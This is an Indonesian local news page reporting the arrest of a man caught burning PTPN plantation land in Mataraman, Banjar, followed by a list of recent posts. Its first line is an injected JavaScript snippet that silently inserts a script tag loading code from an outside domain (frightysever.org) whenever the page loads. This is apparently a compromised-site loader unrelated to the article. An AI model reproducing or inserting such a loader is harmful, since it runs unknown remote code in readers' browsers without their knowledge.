(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Pembakar di Lahan PTPN XVIII Danau Salak Ketangkap Basah


MARTAPURA, Polsek Matraman dibantu masyarakat setempat berhasil menangkap seorang pelaku pembakaran hutan dan lahan, Selasa (24/9) kemarin.

Kapolres Banjar AKBP Takdir Mattanete melalui Kapolsek Matraman Iptu Embang Pramono SH MH mengatakan, adapun pelaku bernama Usai Balau (25) tertangkap tangan sedang membakar lahan perkebunan milik PTPN XIII afdeling VIII yang berlokasi di desa Tanah Abang RT 03 Kecamatan Mataraman, Kabupaten Banjar pada pukul 19.30 Wita.

Penangkapan Usai Balau berawal dari masyarakat yang melihat nyala api disertai kepulan asap di lahan perkebunan karet.

“Ketika melihat api menyala dilahan perkebunan, kami langsung melaporkan ke polisi,” ucap Rusmani (36) saksi yang pertama kali melihat kebakaran itu.

Mendapat informasi tersebut, Kapolsek Matraman ditemani beberapa anggota dibantu masyarakat mencari pelaku pembakaran. Dan tidak jauh dari lokasi kebakaran didapati pelaku M Husni Tamrin alias Usai Balau.

“Benar setelah mendapatkan laporan dari masyarakat, kami segera menuju lokasi dan menemukan pelaku Usai disana,” ucap Kapolsek Matraman.

Ketika dimintai keterangan oleh pihak Kepolisian, pelaku mengaku memang dirinya yang telah membakar lahan perkebunan karet tersebut menggunakan pemantik api berwarna merah.

“Setelah kami mintai keterangan, pelaku mengakui ini yang kedua kalinya dia melakukan pembakaran lahan, lokasi pertama terbakar seluas 5 hektare dan lokasi kedua terbakar sekitar 10 meter persegi,” terangnya.

Sementara itu, Rabu (25/9/2019) pukul 09.30 Wita, Kapolres Banjar AKBP Takdir Mattanete turun ke lapangan melihat langsung proses olah TKP pembakaran tersebut didampingi Satgas Gakkum Karhutla Kabupaten Banjar beserta perwakilan dari perusahaan PTPN Danau Salak.

Kapolres mengatakan akan segera memberikan reward kepada masyarakat yang turut membantu pihak Kepolisian dalam menjaga lingkungan dari kebakaran hutan dan lahan.

“Saya akan memberikan penghargaan kepada masyarakat yang peduli dan berpartisipasi menjaga lingkungan dari kebakaran hutan dan lahan seperti masyarakat yang ada di Desa Tanah Abang ini,” ucap AKBP Takdir Mattanete. (rendy)

Reporter : Rendy
Editor : Bie


Desy Arfianty

Recent Posts

Liburan Berujung Maut, Dua Santri Tenggelam di Pantai Jorong

KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More

1 jam ago

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

14 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

16 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

16 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

18 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

2 hari ago

This website uses cookies.